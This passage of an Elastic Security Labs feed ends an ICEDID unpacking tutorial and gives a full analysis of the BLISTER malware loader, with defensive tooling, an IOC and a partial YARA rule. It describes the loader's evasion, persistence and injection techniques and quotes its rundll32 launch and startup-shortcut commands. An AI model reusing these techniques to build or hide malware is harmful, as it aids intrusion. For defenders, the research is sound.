<p>If we let the binary execute, we see ICEDID threads being created (indicated in the following screenshot).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/unpacking-icedid/image6.jpg" alt="ICEDID threads being created" /></p>
<h2>Unpacking and rebuilding payloads from the rebuilt core binary</h2>
<p>For extracting any of the payloads that are embedded inside the core binary, we will use the <strong>labs-releases\tools\icedid\gzip-variant\extract_payloads_from_core.py</strong> script</p>
<pre><code>usage: extract_payloads_from_core.py [--help] input output

positional arguments:
  input       Input file
  output      Output directory

options:
  -h, --help  show this help message and exit
</code></pre>
<p>We’ll use this script on the rebuilt core binary.</p>
<pre><code>python .\gzip-variant\extract_payloads_from_core.py .\extract\core.bin core_extract

core_extract\browser_hook_payload_0.cpe
core_extract\browser_hook_payload_1.cpe
</code></pre>
<p>From here, we output two binaries corresponding to ICEDID’s payloads for web browser hooking capabilities, however, they are still in their custom PE format.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/unpacking-icedid/image10.jpg" alt="ICEDID payloads" /></p>
<p>Based on our research, we know that <strong>browser_hook_payload_0.cpe</strong> is the x64 version of the browser hook payload and <strong>browser_hook_payload_1.cpe</strong> is the x86 version.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/unpacking-icedid/image12.jpg" alt="Browser hook payload architectures" /></p>
<p>In order to rebuild them, we use the <strong>rebuild_pe.py</strong> script again, this time there are no garbage bytes to skip over.</p>
<pre><code>python .\rebuild_pe.py .\core_extract\browser_hook_payload_0.cpe .\core_extract\browser_hook_payload_0.bin

python .\rebuild_pe.py .\core_extract\browser_hook_payload_1.cpe .\core_extract\browser_hook_payload_1.bin
</code></pre>
<p>Now we have two PE binaries ( <strong>browser_hook_payload_0.bin</strong> and <strong>browser_hook_payload_1.bin</strong> ) we can further analyze.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/unpacking-icedid/image9.jpg" alt="Payloads for further analysis" /></p>
<p>Attentive readers may observe that we have skipped the <strong>VNC server</strong> unpacking from the core binary, a decision we made intentionally. We will release it along with other tools in upcoming research, so stay tuned!</p>
<h2>Conclusion</h2>
<p>In this tutorial we covered ICEDID GZip variant unpacking, starting with the extraction of the fake GZip binary, followed by the reconstruction of the core binary and unpacking its payloads.</p>
<p>ICEDID is constantly evolving, and we are going to continue to monitor major changes and update our tooling along with our research. Feel free to <a href="https://github.com/elastic/labs-releases/issues">open an issue</a> or <a href="mailto:threat-notification@elastic.co">send us a message</a> if something is broken or doesn’t work as expected.</p>
<p>Elastic Security Labs is a team of dedicated researchers and security engineers focused on disrupting adversaries through the publication of detailed detection logic, protections, and applied threat research.</p>
<p>Follow us on <a href="https://twitter.com/elasticseclabs">@elasticseclabs</a>and visit our research portal for more resources and research.</p>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.elastic.co/pt/pdf/elastic-security-labs-thawing-the-permafrost-of-icedid.pdf">https://www.elastic.co/pt/pdf/elastic-security-labs-thawing-the-permafrost-of-icedid.pdf</a></li>
<li><a href="https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/">https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/</a></li>
<li><a href="https://www.justice.gov/opa/pr/emotet-botnet-disrupted-international-cyber-operation">https://www.justice.gov/opa/pr/emotet-botnet-disrupted-international-cyber-operation</a></li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.darkvnc">https://malpedia.caad.fkie.fraunhofer.de/details/win.darkvnc</a></li>
<li><a href="https://www.cybereason.com/blog/threat-analysis-report-all-paths-lead-to-cobalt-strike-icedid-emotet-and-qbot">https://www.cybereason.com/blog/threat-analysis-report-all-paths-lead-to-cobalt-strike-icedid-emotet-and-qbot</a></li>
<li><a href="https://github.com/elastic/labs-releases">https://github.com/elastic/labs-releases</a></li>
<li><a href="https://github.com/hasherezade/funky_malware_formats/blob/f1cacba4ee347601dceacda04e4de8c699971d29/iced_id_parser/iceid_to_pe.cpp">https://github.com/hasherezade/funky_malware_formats/blob/f1cacba4ee347601dceacda04e4de8c699971d29/iced_id_parser/iceid_to_pe.cpp</a></li>
<li><a href="https://mh-nexus.de/en/hxd/">https://mh-nexus.de/en/hxd/</a></li>
<li><a href="https://hex-rays.com/IDA-pro/">https://hex-rays.com/IDA-pro/</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/unpacking-icedid/photo-edited-07@2x.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[BLISTER Loader]]></title>
            <link>https://www.elastic.co/pt/security-labs/blister-loader</link>
            <guid>blister-loader</guid>
            <pubDate>Thu, 13 Apr 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[The BLISTER loader continues to be actively used to load a variety of malware.]]></description>
            <content:encoded><![CDATA[<h2>Key Takeaways</h2>
<ul>
<li>BLISTER is a loader that continues to stay under the radar, actively being used to load a variety of malware including clipbankers, information stealers, trojans, ransomware, and shellcode</li>
<li>In-depth analysis shows heavy reliance of Windows Native API’s, several injection capabilities, multiple techniques to evade detection, and counter static/dynamic analysis</li>
<li>Elastic Security is providing a configuration extractor that can be used to identify key elements of the malware and dump the embedded payload for further analysis</li>
<li>40 days after the initial reporting on the BLISTER loader by Elastic Security, we observed a change in the binary to include additional architectures. This shows that this is an actively developed tool and the authors are watching defensive countermeasures</li>
</ul>
<blockquote>
<p>For information on the BLISTER malware loader and campaign observations, check out our blog post and configuration extractor detailing this:</p>
<ul>
<li><a href="https://www.elastic.co/pt/security-labs/elastic-security-uncovers-blister-malware-campaign">BLISTER Campaign Analysis</a></li>
<li><a href="https://www.elastic.co/pt/security-labs/blister-configuration-extractor">BLISTER Configuration Extractor</a></li>
</ul>
</blockquote>
<h2>Overview</h2>
<p>The Elastic Security team has continually been monitoring the BLISTER loader since our initial <a href="https://www.elastic.co/pt/blog/elastic-security-uncovers-blister-malware-campaign">release</a> at the end of last year. This family continues to remain largely unnoticed, with low detection rates on new samples.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image37.jpg" alt="Example of BLISTER loader detection rates" /></p>
<p>A distinguishing characteristic of BLISTER’s author is their method of tampering with legitimate DLLs to bypass static analysis. During the past year, Elastic Security has observed the following legitimate DLL’s patched by BLISTER malware:</p>
<table>
<thead>
<tr>
<th>Filename</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>dxgi.dll</td>
<td>DirectX Graphics Infrastructure</td>
</tr>
<tr>
<td>WIAAut.DLL</td>
<td>WIA Automation Layer</td>
</tr>
<tr>
<td>PowerCPL.DLL</td>
<td>Power Options Control Panel</td>
</tr>
<tr>
<td>WIMGAPI.DLL</td>
<td>Windows Imaging Library</td>
</tr>
<tr>
<td>rdpencom.dll</td>
<td>RDPSRAPI COM Objects</td>
</tr>
<tr>
<td>colorui.dll</td>
<td>Microsoft Color Control Panel.</td>
</tr>
<tr>
<td>termmgr.dll</td>
<td>Microsoft TAPI3 Terminal Manager</td>
</tr>
<tr>
<td>libcef.dll</td>
<td>Chromium Embedded Framework (CEF) Dynamic Link Library</td>
</tr>
<tr>
<td>CEWMDM.DLL</td>
<td>Windows CE WMDM Service Provider</td>
</tr>
<tr>
<td>intl.dll</td>
<td>LGPLed libintl for Windows NT/2000/XP/Vista/7 and Windows 95/98/ME</td>
</tr>
<tr>
<td>vidreszr.dll</td>
<td>Windows Media Resizer</td>
</tr>
<tr>
<td>sppcommdlg.dll</td>
<td>Software Licensing UI API</td>
</tr>
</tbody>
</table>
<p>Due to the way malicious code is embedded in an otherwise benign application, BLISTER may be challenging for technologies that rely on some forms of machine learning. Combined with code-signing defense evasion, BLISTER appears designed with security technologies in mind.</p>
<p>Our research shows that BLISTER is actively developed and has been <a href="https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html?utm_source=trendmicroresearch&amp;utm_medium=smk&amp;utm_campaign=0422_Socgholish">linked</a> in public reporting to <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lockbit">LockBit</a> ransomware and the <a href="https://redcanary.com/threat-detection-report/threats/socgholish/">SocGholish</a> framework; in addition, Elastic has also observed BLISTER in relation to the following families: <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey">Amadey</a>, <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bit_rat">BitRAT</a>, <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.clipbanker">Clipbanker</a>, <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike">Cobalt Strike</a>, <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos">Remcos</a>, and <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.raccoon">Raccoon</a> along with others.</p>
<p>In this post, we will explain how BLISTER continues to operate clandestinely, highlight the loader’s core capabilities (injection options, obfuscation, and anti-analysis tricks) as well as provide a configuration extractor that can be used to dump BLISTER embedded payloads.</p>
<p>Consider the following <a href="https://www.virustotal.com/gui/file/afb77617a4ca637614c429440c78da438e190dd1ca24dc78483aa731d80832c2">sample</a> representative of BLISTER for purposes of this analysis. This sample was also used to develop the initial BLISTER family YARA signature, the configuration extraction script, and evaluate tools against against unknown x32 and x64 BLISTER samples.</p>
<h2>Execution Flow</h2>
<p>The execution flow consists of the following phases:</p>
<ul>
<li>Deciphering the second stage</li>
<li>Retrieving configuration and packed payload</li>
<li>Payload unpacking</li>
<li>Persistence mechanisms</li>
<li>Payload injection</li>
</ul>
<h3>Launch / Entry Point</h3>
<p>During the first stage of the execution flow, BLISTER is embedded in a legitimate version of the <a href="https://www.virustotal.com/gui/file/1068e40851b243a420cb203993a020d0ba198e1ec6c4d95f0953f81e13046973/details">colorui.dll</a> library. The threat actor, with a previously achieved foothold, uses the Windows built-in rundll32.exe utility to load BLISTER by calling the export function <strong>LaunchColorCpl</strong> :</p>
<pre><code>Rundll32 execution arguments

rundll32.exe &quot;BLISTER.dll,LaunchColorCpl&quot;
</code></pre>
<p>The image below demonstrates how BLISTER’s DLL is modified, noting that the export start is patched with a function call (line 17) to the malware entrypoint.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image13.jpg" alt="Export of Patched BLISTER DLL" /></p>
<p>If we compare one of these malicious loaders to the original DLL they masquerade as, we can see where the patch was made, the function no longer exists:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image11.jpg" alt="Export of Original DLL Used by BLISTER" /></p>
<h3>Deciphering Second Stage</h3>
<p>BLISTER’s second stage is ciphered in its <a href="https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#the-rsrc-section">resource section</a> (.rsrc).</p>
<p>The deciphering routine begins with a loop based sleep to evade detection:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image35.jpg" alt="Initial Sleep Mechanism" /></p>
<p>BLISTER then enumerates and hashes each export of ntdll, comparing export names against loaded module names; searching specifically for the <strong>NtProtectVirtualMemory</strong> API:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image40.jpg" alt="API Hash" /></p>
<p>Finally, it looks for a memory region of 100,832 bytes by searching for a specific memory pattern, beginning its search at the return address and leading us in the .rsrc section. When found, BLISTER performs an eXclusive OR (XOR) operation on the memory region with a four-byte key, sets it’s page protection to PAGE_EXECUTE_READ with a call to NtProtectVirtualMemory, and call its second stage entry point with the deciphering key as parameter:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image49.jpg" alt="Memory Tag &amp; Memory Region Setup" /></p>
<h3>Obfuscation</h3>
<p>BLISTER’s second-stage involves obfuscating functions, scrambling their control flow by splitting their basic blocks with unconditional jumps and randomizing basic blocks’ locations. An example of which appears below.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image6.jpg" alt="Function’s Control Flow Scrambling" /></p>
<p>BLISTER inserts junk code into basic blocks as yet another form of defense evasion, as seen below.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image30.jpg" alt="Junk Code Insertion" /></p>
<h3>Retrieving Configuration and Packed Payload</h3>
<p>BLISTER uses the previous stage’s four-byte key to locate and decipher its configuration.</p>
<p>The routine begins by searching its memory, beginning at return address, for its four-byte key XORed with a hardcoded value as memory pattern:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image24.jpg" alt="Memory pattern search loop" /></p>
<p>When located, the 0x644 byte configuration is copied and XOR-decrypted with the same four-byte key:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image45.jpg" alt="Config decryption" /></p>
<p>Finally, it returns a pointer to the beginning of the packed PE, which is after the 0x644 byte blob:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image58.jpg" alt="Pointer return to packed PE" /></p>
<p>See the <a href="https://www.elastic.co/pt/security-labs/blister-loader#configuration-structure">configuration structure</a> in the appendix.</p>
<h3>Time Based Anti Debug</h3>
<p>After loading the configuration, and depending if the <strong>kEnableSleepBasedAntiDebug</strong> flag (0x800) is set, BLISTER calls its time-based anti-debug function:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image60.jpg" alt="Check configuration for Sleep function" /></p>
<p>This function starts by creating a thread with the Sleep Windows function as a starting address and 10 minutes as the argument:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image26.jpg" alt="Sleep function (600000 ms / 10 minutes)" /></p>
<p>The main thread will sleep using <strong>NtDelayExecution</strong> until the sleep thread has exited:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image8.jpg" alt="NtDelayExecution used with Sleep function" /></p>
<p>Finally the function returns 0 when the sleep thread has run at least for 9 1/2 minutes:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image57.jpg" alt="Condition to end sleep thread" /></p>
<p>If not, the function will return 1 and the process will be terminated:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image16.jpg" alt="Process termination on sleep function if error" /></p>
<h3>Windows API</h3>
<h4>Blister’s GetModuleHandle</h4>
<p>BLISTER implements its own <strong>GetModuleHandle</strong> to evade detection, the function takes the library name hash as a parameter, iterates over the process <a href="https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data">PEB LDR</a>’s modules and checks the hashed module’s name against the one passed in the parameter:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image18.jpg" alt="Function used to verify module names" /></p>
<h4>Blister’s GetProcAddress</h4>
<p>BLISTER’s <strong>GetProcAddress</strong> takes the target DLL and the export hash as a parameter, it also takes a flag that tells the function that the library is 64 bits.</p>
<p>The DLL can be loaded or mapped then the function iterates over the DLL’s export function names and compares their hashes with the ones passed in the parameter:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image3.jpg" alt="BLISTER’s GetProcAddress hash checking dll’s exports" /></p>
<p>If the export is found, and its virtual address isn’t null, it is returned:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image48.jpg" alt="Return export virtual address" /></p>
<p>Else the DLL is <strong>LdrLoaded</strong> and BLISTER’s <strong>GetProcAddress</strong> is called again with the newly loaded dll:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image19.jpg" alt="LdrLoad the DLL and call GetProcAddress again" /></p>
<h4>Library Manual Mapping</h4>
<p>BLISTER manually maps a library using <strong>NtCreateFile</strong> in order to open a handle on the DLL file:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image56.jpg" alt="NtCreateFile used within mapping function" /></p>
<p>Next it creates a section with the handle by calling <strong>NtCreateSection</strong> with the <strong>SEC_IMAGE</strong> attribute which tells Windows to loads the binary as a PE:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image31.jpg" alt="NtCreateSection used within mapping function" /></p>
<p><em>NtCreateSection used within mapping function</em></p>
<p>Finally it maps the section with <strong>NtMapViewOfSection</strong> :</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image36.jpg" alt="NtMapViewofSection used within mapping function" /></p>
<h4>x32/x64 Ntdll Mapping</h4>
<p>Following the call to its anti-debug function, BLISTER manually maps 32 bit and 64 bit versions of NTDLL.</p>
<p>It starts by mapping the x32 version:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image43.jpg" alt="32 bit NTDLL mapping" /></p>
<p>Then it disables <a href="https://docs.microsoft.com/en-us/windows/win32/winprog64/file-system-redirector">SysWOW64 redirection</a>:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image17.jpg" alt="SysWOW64 disabled" /></p>
<p>And then maps the 64 bit version:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image50.jpg" alt="64 bit NTDLL mapping" /></p>
<p>Then if available, the mapped libraries will be used with the <strong>GetProcAddress</strong> function, i.e:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image7.jpg" alt="Mapped libraries using GetProcAddress" /></p>
<h4>LdrLoading Windows Libraries and Removing Hooks</h4>
<p>After mapping 32 and 64 bit <strong>NTDLL</strong> versions BLISTER will <strong>LdrLoad</strong> several Windows libraries and remove potential hooks:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image5.jpg" alt="Function used to load Windows libraries and remove hooks" /></p>
<p>First, it tries to convert the hash to the library name by comparing the hash against a fixed list of known hashes:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image22.jpg" alt="Hash comparison" /></p>
<p>If the hash is found BLISTER uses the <strong>LdrLoad</strong> to load the library:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image53.jpg" alt="Leveraging LdrLoad to load DLL" /></p>
<p>Then BLISTER searches for the corresponding module in its own process:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image15.jpg" alt="Searching for module in own process" /></p>
<p>And maps a fresh copy of the library with the module’s <strong>FullDllName</strong> :</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image10.jpg" alt="Retrieving Module’s FullDllName" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image55.jpg" alt="Manual Mapping function" /></p>
<p>BLISTER then applies the relocation to the mapped library with the loaded one as the base address for the relocation calculation:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image59.jpg" alt="Performing relocation" /></p>
<p>Next BLISTER iterates over each section of the loaded library to see if the section is executable:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image42.jpg" alt="Checking executable sections" /></p>
<p>If the section is executable, it is replaced with the mapped one, thus removing any hooks:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image47.jpg" alt="Section replacement" /></p>
<h4>x64 API Call</h4>
<p>BLISTER can call 64-bit library functions through the use of special 64-bit function wrapper:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image29.jpg" alt="BLISTER utilizing 64-bit function library caller" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image54.jpg" alt="64-bit function library caller" /></p>
<p>To make this call BLISTER switches between 32-bit to 64-bit code using the old Heaven’s Gate <a href="https://blog.talosintelligence.com/2019/07/rats-and-stealers-rush-through-heavens.html">technique</a>:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image51.jpg" alt="Observed Heaven’s Gate byte sequences" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image20.jpg" alt="Heaven’s Gate - Transition to 64 bit mode" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image21.jpg" alt="Heaven’s Gate - Transition to 32 bit mode" /></p>
<h2>Unpacking Payload</h2>
<p>During the unpacking process of the payload, the malware starts by allocating memory using <strong>NtAllocateVirtualMemory</strong> and passing in configuration information. A memcpy function is used to store a copy of encrypted/compressed payload in a buffer for next stage (decryption).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image2.jpg" alt="Unpacking BLISTER payload" /></p>
<h3>Deciphering</h3>
<p>BLISTER leverages the Rabbit stream <a href="https://en.wikipedia.org/wiki/Rabbit_(cipher)">cipher</a>, passing in the previously allocated buffer containing the encrypted payload, the compressed data size along with the 16-byte deciphering key and 8-byte IV.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image1.jpg" alt="Decipher function using the Rabbit cipher" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image23.jpg" alt="Observed Rabbit Cipher Key and IV inside memory" /></p>
<h3>Decompression</h3>
<p>After the decryption stage, the payload is then decompressed using <strong>RtlDecompressBuffer</strong> with the LZNT1 compression format.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image9.jpg" alt="Decompression function using LZNT1" /></p>
<h2>Persistence Mechanism</h2>
<p>To achieve persistence, BLISTER leverages Windows shortcuts by creating an LNK file inside the Windows startup folder. It creates a new directory using the <strong>CreateDirectoryW</strong> function with a unique hardcoded string found in the configuration file such as: C:\ProgramData<code>UNIQUE STRING\\&gt;</code></p>
<p>BLISTER then copies C:\System32\rundll32.exe and itself to the newly created directory and renames the files to UNIQUE STRING\&gt;.exe and UNIQUE STRING\&gt;.dll, respectively.</p>
<p>BLISTER uses the <strong>CopyModuleIntoFolder</strong> function and the <strong>IFileOperation</strong> Windows <strong>COM</strong> interface for <a href="https://www.elastic.co/pt/security-labs/exploring-windows-uac-bypasses-techniques-and-detection-strategies">bypassing UAC</a> when copying and renaming the files:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image46.jpg" alt="BLISTER function used to copy files" /></p>
<p>The malware creates an LNK file using <strong>IShellLinkW COM</strong> interface and stores it in <code>C:\Users\&lt;username&gt;\AppData\Roaming\Microsft\Windows\Start Menu\Startup as UNIQUE STRING\\&gt;.lnk</code></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image25.jpg" alt="Mapping shortcut to BLISTER with arguments" /></p>
<p>The LNK file is set to run the export function <strong>LaunchColorCpl</strong> of the newly copied malware with the renamed instance of rundll32. C:\ProgramData\UNIQUE STRING\&gt;\UNIQUE STRING\&gt;.exe C:\ProgramData\UNIQUE STRING\&gt;\UNIQUE STRING\&gt;.dll,LaunchColorCpl</p>
<h2>Injecting Payload</h2>
<p>BLISTER implements 3 different injection techniques to execute the payload according to the configuration flag:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image27.jpg" alt="BLISTER injection techniques by config flag" /></p>
<h3>Shellcode Execution</h3>
<p>After decrypting the shellcode, BLISTER is able to inject it to a newly allocated read write memory region with <strong>NtAllocateVirtualMemory</strong> API, it then copies the shellcode to it and it sets the memory region to read write execute with <strong>NtProtectVirtualMemory</strong> and then executes it.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image28.jpg" alt="Execute shellcode function" /></p>
<h3>Own Process Injection</h3>
<p>BLISTER can execute DLL or Executable payloads reflectively in its memory space. It first creates a section with <strong>NtCreateSection</strong> API.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image39.jpg" alt="RunPE function" /></p>
<p>BLISTER then tries to map a view on the created section at the payload’s preferred base address. In case the preferred address is not available and the payload is an executable it will simply map a view on the created section at a random address and then do relocation.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image34.jpg" alt="Check for conflicting addresses" /></p>
<p>Conversly, if the payload is a DLL, it will first unmap the memory region of the current process image and then it will map a view on the created section with the payload’s preferred address.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image33.jpg" alt="DLL unmapping" /></p>
<p>BLISTER then calls a function to copy the PE headers and the sections.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image12.jpg" alt="Copying over PE/sections" /></p>
<p>Finally, BLISTER executes the loaded payload in memory starting from its entry point if the payload is an executable. In case the payload is a DLL, it will find its export function according to the hash in the config file and execute it.</p>
<h3>Process Hollowing</h3>
<p>BLISTER is able to perform <a href="https://attack.mitre.org/techniques/T1055/012/">process hollowing</a> in a remote process:</p>
<p>First, there is an initial check for a specific module hash value (0x12453653), if met, BLISTER performs process hollowing against the Internet Explorer executable.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image32.jpg" alt="Internet Explorer option for process hollowing" /></p>
<p>If not, the malware performs remote process hollowing with <strong>Werfault.exe</strong>. BLISTER follows standard techniques used for process hollowing.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image44.jpg" alt="Process hollowing function" /></p>
<p>There is one path within this function: if certain criteria are met matching Windows OS versions and build numbers the hollowing technique is performed by dropping a temporary file on disk within the <strong>AppData</strong> folder titled <strong>Bg.Agent.ETW</strong> with an explicit extension.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image52.jpg" alt="Compatibility Condition check" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image14.jpg" alt="Compatibility Condition function" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image4.jpg" alt="Temporary file used to store payload" /></p>
<p>The malware uses this file to read and write malicious DLL to this file. Werfault.exe is started by BLISTER and then the contents of this temporary DLL are loaded into memory into the Werfault process and the file is shortly deleted after.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image38.jpg" alt="Procmon output of compatibility function" /></p>
<h2>Configuration Extractor</h2>
<p>Automating the configuration and payload extraction from BLISTER is a key aspect when it comes to threat hunting as it gives visibility of the campaign and the malware deployed by the threat actors which enable us to discover new unknown samples and Cobalt Strike instances in a timely manner.</p>
<p>Our extractor uses a <a href="https://github.com/Robin-Pwner/Rabbit-Cipher">Rabbit stream cipher implementation</a> and takes either a directory of samples with <strong>-d</strong> option or <strong>-f</strong> for a single sample,</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blister-loader-image41.jpg" alt="Config extractor output" /></p>
<p>To enable the community to further defend themselves against existing and new variants of the BLISTER loader, we are making the configuration extractor open source under the Apache 2 License. The configuration extractor documentation and binary download can be accessed <a href="https://www.elastic.co/pt/security-labs/blister-configuration-extractor">here</a>.</p>
<h2>Conclusion</h2>
<p>BLISTER continues to be a formidable threat, punching above its own weight class, distributing popular malware families and implants leading to major compromises. Elastic Security has been tracking BLISTER for months and we see no signs of this family slowing down.</p>
<p>From reversing BLISTER, our team was able to identify key functionality such as different injection methods, multiple techniques for defense evasion using anti-debug/anti-analysis features and heavy reliance on Windows Native API’s. We also are releasing a configuration extractor that can statically retrieve actionable information from BLISTER samples as well as dump out the embedded payloads.</p>
<h2>Appendix</h2>
<h3>Configuration Structure</h3>
<pre><code>BLISTER configuration structure

struct Config {
  uint16_t flag;
  uint32_t payload_export_hash;
  wchar_t w_payload_filename_and_cmdline[783];
  size_t compressed_data_size;
  size_t uncompressed_data_size;
  uint8_t pe_deciphering_key[16];
  uint8_t pe_deciphering_iv[8];
};

</code></pre>
<h3>Configuration’s Flags</h3>
<pre><code>BLISTER configuration files

enum Config::Flags {
  kDoPersistance = 0x1,
  kOwnProcessReflectiveInjectionMethod = 0x2,
  kOwnProcessHollowingMethod = 0x8,
  kRemoteProcessHollowingMethod = 0x10,
  kExecutePayloadExport = 0x20,
  kExecuteShellcodeMethod = 0x40,
  kInjectWithCmdLine = 0x80,
  kSleepAfterInjection = 0x100,
  kEnableSleepBasedAntiDebug = 0x800,
};
</code></pre>
<h3>Hashing Algorithm</h3>
<pre><code>BLISTER hashing algorithm

uint32_t HashLibraryName(wchar_t *name) {
  uint32_t name {0};
  while (*name) {
 hash = ((hash &gt;&gt; 23) | (hash  &lt;&lt; 9)) + *name++;
  }
  return hash ;
}
</code></pre>
<h3>Indicators</h3>
<table>
<thead>
<tr>
<th>Indicator</th>
<th>Type</th>
<th>Note</th>
</tr>
</thead>
<tbody>
<tr>
<td>afb77617a4ca637614c429440c78da438e190dd1ca24dc78483aa731d80832c2</td>
<td>SHA256</td>
<td>BLISTER DLL</td>
</tr>
</tbody>
</table>
<h2>YARA Rule</h2>
<p>This updated YARA rule has shown a 13% improvement in detection rates.</p>
<pre><code>BLISTER YARA rule

rule Windows_Trojan_BLISTER {
    meta:
        Author = &quot;Elastic Security&quot;
        creation_date = &quot;2022-04-29&quot;
        last_modified = &quot;2022-04-29&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;BLISTER&quot;
        threat_name = &quot;Windows.Trojan.BLISTER&quot;
        description = &quot;Detects BLISTER loader.&quot;
